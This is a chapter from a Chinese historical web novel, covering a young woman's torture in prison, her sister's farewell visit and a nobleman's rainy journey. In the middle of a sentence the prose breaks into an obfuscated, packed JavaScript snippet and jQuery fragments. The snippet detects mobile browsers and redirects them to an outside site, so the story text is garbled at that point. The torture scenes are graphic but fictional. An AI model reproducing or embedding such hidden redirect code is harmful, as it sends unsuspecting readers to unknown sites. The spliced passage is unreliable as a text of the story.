然这笑声,却使她的心又凉了一截。
狱官闻声也停了下来,恭恭谨谨地上前,眯着眼睛笑道:“大人竟认得这女子?”
小泱绝望地想,怎么不认得?
因了女儿赵夫人在纪府独守空闺多年,他可是恨透了她和纪允樑,从未给过他们一个好眼色。
果真,赵雎横眉嗤了一声,并不屑答,只睨他一眼,漠然问道:“王上已下了诏令,云氏一族三日后斩首,你可审出些什么了?”
小泱头皮发麻,只有三日,短短三日,凭她眼下这孤立无援的处境,当真是没有办法能救下云家众人了。
真的要认命吗?
须臾,那狱官恶狠狠地朝她瞪了一眼,恼道:“这贱人口口声声说自己知道云家人的下落,眼下却怎么也不肯说了,大人您看……”
小泱极力抬起头来,一张脸已是几无人色。她十分艰难地将唇间的血咽了回去,哑声道:“他们是自己逃走的,除了他们自己,没人知道他们的下落!将我打死也没用!”
赵雎便阴鸷一笑,“骨头硬?”
言罢便从刑具架上随手挑了把用来剔骨的小刀,阴恻恻地朝她臂膀间重重刺来,冰冷的刀尖立时便陷进那一片血肉之中,几乎要贯穿过去,小泱痛呼一声,那刀却很快抽离,转而又轻易地扎进她肩头,将她的锁骨钻得生疼。
背后藤鞭所过之处还如火燎一般难耐,冷汗与泪水在这两面煎熬中止不住地冒出来,那刀也不知究竟刺进抽出了多少次,小泱只觉得通身无一处不痛,每个伤口都在涌血,那血在这阴冷潮湿之地又冷得极快,汩汩地洇进衣裳里,化作一种彻骨的寒意将她紧紧包裹起来。
恍惚听见有人不耐道,“啧啧啧,都快没气了,还不开口!”
她的意识已经很模糊,连喊痛的力气都提不起来了,这声音却倏然叫她清明了几分,她忽地想到什么,奋力挣扎道:“我说!我说!我不能死!”
因了这一句,喉咙刀割似的疼,她却不敢耽误,忙道:“他们连夜朝雍国去了!”
赵雎手上的动作终于一顿,他蹙了蹙眉,“凭何信你?”
“云翮投的便是雍国,大人说凭何?”小泱扯了扯唇角,愈发气若游丝,“雍国自有人会护下他们,不必……不必叫云氏断宗绝嗣……”
她心若擂鼓,面上却不敢露出一丝破绽,见他仍有疑色,又道:“大人若不信,可立即遣人追捕。”
那一双狠厉的鹰眼凝视她许久,终究没能从她神色中瞧出半点不对劲,小泱暗暗松了口气,却听一旁的狱官先开了腔:“早说不就得了,装什么烈女!莫不是想拖延时间叫他们逃得更远些?!”
赵雎闻言脸色更加难看,泄愤般朝她腰腹又刺上一刀,还转了转刀,在她血肉狠狠中一绞,厉声骂道:“贱人!我且先让人去寻,若他们空手而返,我定亲手将你的骨头尽数碾碎!”
小泱腹间登时一阵剧痛,朦胧间听见这一句,绷了许久的肌骨神经总算悄然一松。她想,幸好,幸好。官兵前去追捕,一来一回怎么也不止三日,待到他们无功而返,她早便痛痛快快地死了。
那女子会将云家妇孺保护得很好,纵使颠沛流离,也再不会有人知晓他们的踪迹了。
如此想着,眼皮竟越发沉重,连赵雎何时拔出的刀都不曾发觉,她便彻底昏死过去。
梦中也仍在受刑。
梦中的狱卒比那狱官更凶神恶煞,她力竭晕过去一次,便会有一大桶冰水将她浇醒,也不知这样反复磋磨了多少回,晕头转向间,竟听见有人温和地唤她的名字:“小泱。”
唇齿间好似流入了一阵泛着清香的湿润气息,继而很快淌过了她干得发痒的喉咙,暖暖地又涌向了腹中。小泱贪婪又急切地汲取起来,不想那湿润竟忽地涌上鼻腔,将她呛得一阵猛咳。
“小泱!”
一只温暖的手倏尔抚上了她的背,那声音愈加清晰,隐约带着些鼻音,“小泱,醒醒!我是阿姐!”
小泱猛地睁开眼。
她已不在刑架上了,腕间数十斤重的铁链亦被卸了下来,周身又软又暖,她忍不住朝那暖意靠近了些。缓了片刻,她才发觉自己此刻正在一人怀中好好地卧着。
眼前人双目通红,见她醒了,泪便又落了下来。
“很疼吧?”
小泱一怔,这声音多好听啊,比狴牢外的一点光亮更叫人渴望,立时就驱散了这方寸之地的阴寒与污浊。
“阿姐……”
小泱不敢相信自己的眼睛,下意识地想抬手为她抹掉泪痕,谁知手竟如何也抬不起来,只动一下,便是钻心砭骨之痛。想对阿姐笑笑,泪却汹涌起来,“阿姐,麻了,早就不疼了。”
被人视作珍宝般拥着,小泱想,至少心里的确没那么疼了。
萤书闻言将她抱紧了些,脸颊贴着她极烫的额头,一时竟说不出话来。小泱见她一身好看的鹅黄衣裳早被污血染了个透,心中一酸,无力道:“阿姐,这里太脏了,你何必来啊……”
不必多想,便可知阿姐这一来要受多少阻碍多少呵斥,小泱一叹,为了一个毫无干系的人,到底是不值当的。
“我求了外祖父,他应了我,许我给你送些餐食。”
萤书舒了口气,将泪水强忍了回去,侧身从膳盒中取出一块山楂糕来,喂到小泱唇边,“你多吃一些,好不好?”
小泱笑着咬了一口,道:“阿姐做的山楂糕是最好吃的!”
其二便是阿姐偷偷做给她吃的汤饼。
她本想着,待到这月十五,阿姐生辰那一日,她亦要亲手为阿姐做一碗汤饼,一盘糕点,好生与阿姐道个别,再与绿桥一同离开琞都。
可惜,什么也来不及了。她活不到阿姐生辰那日,甚至还要给阿姐最重要的日子添一道晦气。
山楂糕与泪悄然混在一处,被她一同吞入腹中,片刻便听外头有人冷不丁地催道:“大人叮嘱姑娘快些,最多再过半柱香,姑娘必须回府去。”
小泱只觉透骨心酸,抬眸看去,却见萤书面色未变,喂她吃完这一块山楂糕,悄悄往她衣襟里塞了些什么,嘴里却仍道:“小泱乖,再吃一块。”
她动作极快,放完东西便又拈起了一块糕点,小泱并未瞧清衣襟内究竟被塞了何物,只清清楚楚地见她双唇翕合间无声地说了两个字:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696730|188988||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别怕。”
小泱如鲠在喉,极力抬起手,想去拉她的袍袖。
她知道自己不该强迫阿姐再多为她停留,但在那坚定温柔的眸光下,她的恐惧与悲戚像是无处遁形,下意识地,她很想去抓住那最后一根稻草。
然,那一片薄裳竟像一缕轻烟般,只在她掌心停留了片刻,便很快划过她的指尖,越来越远,再难触及。
小泱还不愿放弃,双眸却愈发聚不起神,身子也愈发僵硬,隐约察觉到阿姐的怀抱渐渐脱离了她的身体,她又躺回了冰冷的石砖地上,孤零零的,只她一个人。
她也不知那道鹅黄的背影究竟有没有离开,若是离开了,又有没有最后再瞧她一眼。
再也无法知道了。
小泱无神的双目之中又淌下两行清泪,喉中的浓血也涌了上来,与几个破碎的字一同艰难地溢出唇角。
“阿姐……帮绿桥……”
真的还有人能听见吗?
小泱半点气力也没了,她不甘地阖上眼,意识逐渐消失殆尽。
*
天阴沉了大半日,总算下起雨来。这雨说大也不大,只是下了两个时辰,及至黄昏时候,路已经被搅得有些泥泞,十分不好行路。
李寺人抖了抖蓑衣上的雨水,不禁打了个寒颤。太后昨日便叮嘱了他们,一路只管慢些走,因而如今他们将将才到与琞都毗邻的嘉郡。他想了想,眼下冒雨行路也是煎熬,还不如停下好好休息一夜。
他没过多纠结,很快便扣响了车前横木,朝车内人恭敬道:“君侯,今日这雨大抵是不会停了,前方十里处便是嘉郡传舍,莫若暂做休整,明日再启程吧?”
怜玉为车内小憩的青年披上大氅,见他面色比半个时辰前更差了些,也觉得不适合再在马车上颠簸,便吩咐道:“先寻个医士到传舍待命,君侯身子不适,叮嘱传舍备上最好的炭与膳食,被褥亦要最好的,还请徐内官亲自去盯着。”
徐寺人喜笑颜开地应了,当即便跳下车,牵了一匹马,扬长而去。
蔺朝澜缓缓睁开眼,心口忽地一阵绞痛,他莫名有些不安,哑声问道:“快到嘉郡了?”
怜玉从小炉上取下陶壶,为他斟了盏茶,一边道:“是,已吩咐传舍为公子备好晚膳了。”
“不必。”蔺朝澜蹙了蹙眉,“继续赶路即可。”
“公子何必这么急?”
怜玉隐约觉得不对劲,见他有些不悦,换了个话头劝道:“公子受得了苦,棺椁可受不得潮。若是污了兰夫人梓宫,六公子岂肯罢休。”
这一路她可是看在眼里,六公子一步也不肯离开那棺,若半途雨越下越大,渗进棺椁,凭他那杀人如麻的性子,还不得取几个人头泄愤?
蔺朝澜沉吟片刻,方道:“待雨停了,便立即赶路。”
他掀开窗前暖帘,绵绵雨丝便倏然飘了进来,他的眉睫立时变得凉沁沁的,朝后看去,一架小轺与一抬棺椁并排行着,再往后,便是一众宫人。
没有人跟上来。
眼下琞都的一切都断了联系,也不知小泱怎么样了。
他想,就快了,很快便能再见到她了。